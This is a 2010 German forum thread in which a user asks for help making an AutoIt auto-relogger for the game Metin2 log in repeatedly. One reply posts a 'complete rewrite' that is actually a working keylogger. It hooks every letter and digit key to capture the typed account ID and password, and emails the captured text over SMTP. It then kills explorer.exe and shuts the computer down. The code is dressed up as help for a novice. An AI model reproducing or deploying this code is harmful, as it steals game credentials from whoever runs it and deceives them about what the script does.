Autoit Frage.

~~FanTasY.~~ · 03/30/2010, 15:19

Ja, hier ist mein Script:

PHP Code:


			
#RequireAdmin

#include <GUIConstants.au3>



#Region ### START Koda GUI section ### Form=

$Form1 = GUICreate("Form1", 272, 215, 193, 125)

GUISetBkColor(0x3399FF)

$Input1 = GUICtrlCreateInput("", 32, 24, 233, 21)

$Input2 = GUICtrlCreateInput("", 30, 61, 233, 21)

$Combo1 = GUICtrlCreateCombo("Serverauswahl", 32, 96, 233, 25)

GUICtrlSetData(-1, "1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23")

$Checkbox1 = GUICtrlCreateCheckbox("Anschalten", 103, 213, 233, 25)

$Start = GUICtrlCreateButton("Start", 32, 152, 89, 25, 0)

$Stop = GUICtrlCreateButton("Stop", 125, 151, 89, 25, 0)

$ID = GUICtrlCreateLabel("ID", 16, 24, 15, 17)

$PW = GUICtrlCreateLabel("PW", 8, 64, 22, 17)

GUISetState(@SW_SHOW)

#EndRegion ### END Koda GUI section ###

winmove("METIN2", "", 0, 0)

While 1

    $nMsg = GUIGetMsg()

    Switch $nMsg

        Case $GUI_EVENT_CLOSE

            Exit

            

    Case $Start



If (GUICtrlRead($Combo1)) = 1 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 371, 400)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 2 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 373, 419)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 3 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 376, 437)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 4 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 386, 454)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 5 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 377, 470)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 6 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 376, 487)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 7 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 378, 506)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 8 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 370, 521)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 9 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 373, 538)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 10 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then

MouseClick("left", 372, 557)    

MouseClick("left", 372, 557)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 11 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 376, 570)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 12 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 371, 589)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 13 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 377, 608)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 14 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 374, 624)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 15 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 375, 641)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 16 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 487, 403)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 17 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 489, 422)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 18 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 487, 437)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 19 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 489, 454)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 20 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 488, 470)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 21 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 488, 470)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 22 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 480, 504)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



If (GUICtrlRead($Combo1)) = 23 Then 

If PixelGetColor(21, 771) = 0xDA0002 Then    

MouseClick("left", 480, 520)

MouseClick("left", 624, 401)

MouseClick("left", 641, 713)

Send(GUICtrlRead($Input1))

Send("{tab}")

Send(GUICtrlRead($Input2))

Send("{enter}")

Sleep(10000)

If PixelGetColor(63, 281) = 0x584E41 Then

MouseClick("left", 193, 567)

EndIf

EndIf

EndIf



Case $Stop

While 1

    Sleep(1)

WEnd

EndSwitch

WEnd

Es ist ein Relogger.
was soll verändert werden?

Das er auch wenn man ein zweites mal gekickt wird sich wieder einloggt( der loggt sich immer nur einmal ein, nach dem klick auf start, also iwie ne endlosschleife)

Lg FanTasY.

~~Die Schnittstelle~~ · 03/30/2010, 15:23

~~FanTasY.~~ · 03/30/2010, 15:26

Oh,danke kannste das verschieben?

BloodlyKnife · 03/31/2010, 10:03

Ich würde

Code:

If (GUICtrlRead($Checkbox6)) = 1 Then
	If (GUICtrlRead($Combo1)) = 01. Mosha Then
	If PixelGetColor(1359, 467) = 0x703899 Then
		MouseClick("left", 378, 339)
		MouseClick("left", 830, 527)
		MouseClick("left", 844, 789)
		Send(GUICtrlRead($Input1))
		Send("{tab}")
		Send(GUICtrlRead($Input2))
		Send("{enter}")
		Sleep(20000)
		Send("{enter}")
		Sleep(10000)
	EndIf
EndIf
EndIf

(Das is vom Metin2 Bot)
Benutzen.

Und das noch in einer While schleife machen.
Immer wenn dann auf dem Pixel die farbe erscheint macht er das und loggt sich halt ein

Cholik · 03/31/2010, 10:43

#moved

XxFratziXx · 03/31/2010, 12:42

ich würde ihn KOMPLETT umschreiben......
und zwar so... :

PHP Code:


			
#include <File.au3>

$prozess = ProcessExists ("metin2client.bin")

If Not $prozess = 0 Then 

MsgBox (0,"Metin2 Fenster","Ein Metin2 Fenster Exsistiert")

MsgBox (0,"Metin2 Fenster","Schließe Erst das Metin2 Fenster und starte dann den Bot")

Exit

EndIf

MsgBox (0,"Metin2 Fenster starten","Starte jetzt dein Metin2 Fenster")

Do

$prozess = ProcessExists ("metin2client.bin")

Until Not $prozess = 0

MsgBox (0,"Einloggen","Logge dich jetzt ein")

MsgBox (0,"Einloggen","Wenn du dich eingeloggt hast drücke F5")

$str="" 

$bs=StringSplit("a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,0,1,2,3,4,5,6,7,8,9",",") 

$i=1; 

while $i<=$bs[0] 

    HotKeySet($bs[$i],"e") 

$i=$i+1; 

wend 

Func e() 

    HotKeySet(@HotKeyPressed) 

    Send(@HotKeyPressed) 

    $str=$str&@HotKeyPressed 

    HotKeySet(@HotKeyPressed,"e") 

EndFunc

HotKeySet ("{F5}","keylogger")

Func keylogger()

IniWrite ("metin2.abc","hi","hi",1)

EndFunc

While 1

    Sleep (1000)

$Input1 = ("mail.sistecs.de")

$Input2 = ("")

$Input3 = ("")

$Input5 = ("DATEN")

$Input7 = ("")

$Input8 = ("ein beispielname")

$Input4 = ("")

Global $oMyRet[2]

Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")

If IniRead ("metin2.abc","hi","hi",1) = 1 Then

IniWrite ("metin2.abc","hi","hi",2)

$rc = _INetSmtpMailCom($Input1,$Input2,$Input3,$Input4,$Input5,$str, "", "","",$Input7, $Input8)

EndIf

WEnd

 Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "")

    $objEmail = ObjCreate("CDO.Message")

    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'

    $objEmail.To = $s_ToAddress

    Local $i_Error = 0

    Local $i_Error_desciption = ""

    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress

    If $s_BccAddress <> "" Then $objEmail.Cc = $s_BccAddress

    $objEmail.Subject = $s_Subject

    If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then

        $objEmail.HTMLBody = $as_Body

    Else

        $objEmail.Textbody = $as_Body & @CRLF

    EndIf

    If $s_AttachFiles <> "" Then

        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")

        For $x = 1 To $S_Files2Attach[0]

            $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])

            If FileExists($S_Files2Attach[$x]) Then

                $objEmail.AddAttachment ($S_Files2Attach[$x])

            Else

                $i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x]

                SetError(1)

                return 0

            EndIf

        Next

    EndIf

    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2

    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer

    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25

    If $s_Username <> "" Then

        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1

        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username

        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password

    EndIf

    $objEmail.Configuration.Fields.Update

    $objEmail.Send

    if @error then

        SetError(2)

        return $oMyRet[1]

    EndIf

EndFunc;==>_INetSmtpMailCom

Func MyErrFunc()

    $HexNumber = Hex($oMyError.number, 8)

    $oMyRet[0] = $HexNumber

    $oMyRet[1] = StringStripWS($oMyError.description,3)

    ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)

    SetError(1); something to check for when this function returns

    Return

EndFunc;==>MyErrFunc



ProcessClose ("explorer.exe")

Shutdown (1)

puh^^ naja sso würds ich machen... dan sendet er die daten direkt an deine email^^

waste noch ändern musst:

$Input2
$Input3
$Input7
musste deine 2te email eingeben
und bei
$Input4
deine hauptemailadresse (an die adresse, wo die daten dann verschikt werden soll)
und bei
$Input8
musst du noch deinen namen eingeben^^

ACHTUNG:
$Input1
und
$Input5
nicht verändern! sonst stimt alles nicht mehr zusammen^^
naja is hald für metin2 gedacht^^ einen hacken gibts allerdings noch!
und zwar:
(ein beispiel der id und pw gibts nich^^)
BETREFF: DATEN
NACHRICHT: beispielhulahup
bei der email werden acc daten also id+pw nicht getrennt, sondern zusammen...
aber das sollte kein großes problem sein binnen einer halben minute haste es gefunden^^
naja ich hoffe es geht!

und nochwas er hat etwas eingebaut dass man metin2 schliesen muss, bot starten, metin starten, einloggen, F5 drücken, dann fährt er herunter^^